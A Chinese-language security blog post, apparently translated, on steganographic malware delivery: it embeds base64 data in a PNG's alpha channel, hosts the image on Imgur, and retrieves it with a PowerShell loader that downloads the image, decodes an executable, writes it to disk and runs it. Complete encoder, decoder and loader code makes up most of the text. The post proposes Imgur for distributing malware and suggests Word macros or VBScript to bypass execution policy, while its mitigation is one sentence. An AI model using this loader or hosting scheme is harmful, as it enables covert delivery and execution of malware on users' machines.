猫头鹰
信安舆情早知道

使用Powershell和PNG在Imgur上投毒

前言

几个月前,卡巴斯基推出了使用PNG来分发恶意payload的研究,在发布之前,恶意软件作者已经将PE文件嵌入到图像中。需要注意的一点是,这些图片的分辨率只有63×48像素,但大小却为1.3M。

这个方法不是很隐蔽,但却有办法做得更好。

在PNG中对文件进行编码

首先,它有助于理解一个PNG文件。不同于JPEG,PNG是无损的即使它被压缩,意味着当您以PNG格式创建一个图像时,它保留它已生成的数据,直到分辨率或颜色调色板被修改。与GIF不同,PNG文件通过Alpha通道处理透明效果,而不是颜色替换。

这种压缩和alpha通道使我们能够将数据转换成PNG。每个像素由用于颜色的三个8位值和用于透明度级别的另一个8位值(称为“alpha channel”)表示。 这意味着每个像素将呈现为R、G、B和A,每个像素的值为0-255。

这里是一个示例图像:

blog_sample-1

此图片的像素为800×600,具有8-bit颜色和alpha通道,这意味着我们可以在其中嵌入480000像素或468 KB的数据。让我们使用Pillow和Python来解决这个问题。

使用下面的脚本比较简单:

from PIL import Image
from sys import argv
from base64 import b64encode

i = argv[1]
o = argv[2]
with open(argv[3], 'rb') as f:
 text = f.read()

img_in = Image.open(i)
img_pad = img_in.size[0] * img_in.size[1]
text = b64encode(text)
if len(text) < img_pad:
 text = text + '\x00'*(img_pad - len(text))
else:
 print('File is too large to embed into the image.')
 quit()
text = [text[i:i+img_in.size[1]] for i in range(0, len(text), img_in.size[1])]

img_size = img_in.size
img_mode = img_in.mode
img_o = Image.new(img_mode, img_size)

for ih, tblock in zip(xrange(img_in.size[0]), text):
 for iv, an in zip(xrange(img_in.size[1]), [ord(x) for x in tblock]):
 x, y, z, a = img_in.getpixel((ih, iv))
 pixels = (x, y, z, an)
 img_o.putpixel((ih, iv), pixels)

img_o.save(o)

执行脚本:

$ python encode.py image.png image_out.png payload.dat

当脚本运行时,需确保payload不大于图像才可以处理,使用Base64编码,用空字节填充它,直到它达到总像素数量的大小。然后用编码数据中的字符的值替换每个alpha通道值,完成后将其保存到磁盘。

让我们把一个图像嵌入到图像中:

blog_sample-out-1

在这个图像里面编码了一个JPEG。图像在透明度和外观上有明显的改变,但你通常不会想到它是可疑的。 通过对编码过程的一些改变,可以使得alpha通道更自然地混合。

下面是嵌入在其中的图像:

antivirus-1

下面Python脚本可以从图像中检索数据:

from PIL import Image
from sys import argv
from base64 import b64decode

i = argv[1]
o = ''
s = argv[2]

img = Image.open(i)

for x in xrange(img.size[0]):
    for y in xrange(img.size[1]):
        p = img.getpixel((x, y))
        p = p[-1]
        o = o + chr(p)

o = o.replace('\000', '')
o = b64decode(o)

with open(s, 'wb') as f:
    f.write(o)

我们可以通过下面这些运行这些命令没有任何损失:

$ md5 blog_sample.png
MD5 (blog_sample.png) = 694ab6d3260933f75dec92ba01902f9b
$ python encoder.py blog_sample.png blog_sample.out.png antivirus.jpg
$ md5 blog_sample.out.png
MD5 (blog_sample.out.png) = 10a4fd1bf52d0bfa50ced699f8c53c39
$ md5 antivirus.jpg
MD5 (antivirus.jpg) = 84893c561288b6a1a9d76f399a89d51b
$ python decoder.py blog_sample.out.png antivirus.orig.jpg
$ md5 antivirus.orig.jpg
MD5 (antivirus.orig.jpg) = 84893c561288b6a1a9d76f399a89d51b

正如上面所看到的,文件内容不会因为图像的Alpha通道中嵌入数据而改变。

使用Imgur和Powershell进行利用

自从在Reddit上首次亮相之后,Imgur已经成为最大的图像托管服务之一。 主要是因为它在上传图片时很容易访问,而不需要创建帐户。

在测试中,Imgur似乎剥离了不属于图像的数据。也就是说,你不能使用在其服务上组合zip文件与JPEG或PNG等旧技术,因为它似乎完全剥离数据。

因为它会删除这些混合文件,那么我们需要确认的就是它是否删除我们编码的数据,如前面所示。 让我们尝试上传早期示例图像并检查。

$ md5 blog_sample.out.png
MD5 (blog_sample.out.png) = 10a4fd1bf52d0bfa50ced699f8c53c39
$ wget https://i.imgur.com/Oj8FhU5.png
--2016-11-24 13:56:50--  https://i.imgur.com/Oj8FhU5.png
Resolving i.imgur.com... 151.101.52.193
Connecting to i.imgur.com|151.101.52.193|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 664208 (649K) [image/png]
Saving to: 'Oj8FhU5.png'

Oj8FhU5.png               100%[====================================>] 648.64K  2.42MB/s   in 0.3s

2016-11-24 13:56:51 (2.42 MB/s) - 'Oj8FhU5.png' saved [664208/664208]

$ md5 Oj8FhU5.png
MD5 (Oj8FhU5.png) = 10a4fd1bf52d0bfa50ced699f8c53c39

正如我们在这里可以看到的,上传到Imgur的示例图像没有被改变。

那么我们下一步该怎么做? 这有什么作用?Imgur最伟大的一点是你不需要注册一个帐户来上传图片。 不必提供太多的细节,为什么不使用它来分发恶意软件呢?

有一件事要注意的是,你必须有检索PNG图像的能力,然后处理它,因为在过去存在PNG库的代码执行问题,在大多数情况下只加载一个payloaded图像不可能妥协。

幸运的是,Windows有内置的功能,直接让你使用一个图像和提取像素数据。可以使用Powershell实现,无需任何附加模块。 代码如下:

Add-Type -AssemblyName System.Drawing 
Add-Type -AssemblyName System.Text.Encoding

$strURL = "http://i.imgur.com/nckqSN1.png"
$strFilename = "c:\temp\payloadb64.png"
$peOutputFile = "c:\temp\calc.exe"

Invoke-WebRequest -Uri $strURL -OutFile $strFilename

$image = [System.Drawing.Image]::FromFile($strFilename)
$peBase64 = @()
for ($w=0;$w -lt $image.Width;$w++)
{
    $row = @()
    for ($h=0;$h -lt $image.Height;$h++)
    {
        $pixel = ($image.GetPixel($w,$h)).A
        $pixel = [convert]::toint32($pixel, 10)
        $pixel = [char]$pixel
        $row += $pixel
    }
    $peBase64 = $peBase64 + $row 
}

$peImage = @()
foreach ($peValue in $peBase64)
{
    if ($peValue -ne "`0")
    {
        $peImage = $peImage += $peValue
    }
}

$peImage = [System.Convert]::FromBase64String($peImage)
[System.IO.File]::WriteAllBytes($peOutputFile, $peImage)
& $peOutputFile

脚本工作如下:

  • 从Imgur下载PNG图像并将其保存到磁盘
  • 使用System.Drawing,读取每个像素并提取alpha(A)值
  • 确保从数组中删除所有空值(0x00)
  • 解码Base64并将文件写入磁盘
  • 将新解码的文件作为可执行文件运行

基于上面的代码运行计算器:

powershell-1

执行上面的代码需要你系统的策略允许执行Powershell脚本。也就是说,虽然在大多数家用电脑中不是一个问题,因为它被默认禁用,但在许多企业环境是要求开启的。 绕过限制的方法可以执行VBScript帮助代码或者在Word宏存储这些代码。

解决方法

需要记住的一点是,虽然攻击是使用Powershell完成的,但这并不意味着不能使用带有嵌入宏的Word文档来实现这一点。

从用户角度来看,避免执行任何不需要的代码是避免这种攻击的最好方法。

转载请注明来自MottoIN,未经允许不得转载!MottoIN » 使用Powershell和PNG在Imgur上投毒

分享到:更多 ()

评论 抢沙发

评论前必须登录!

 

MottoIN 换一个角度看安全

寻求报道联系我们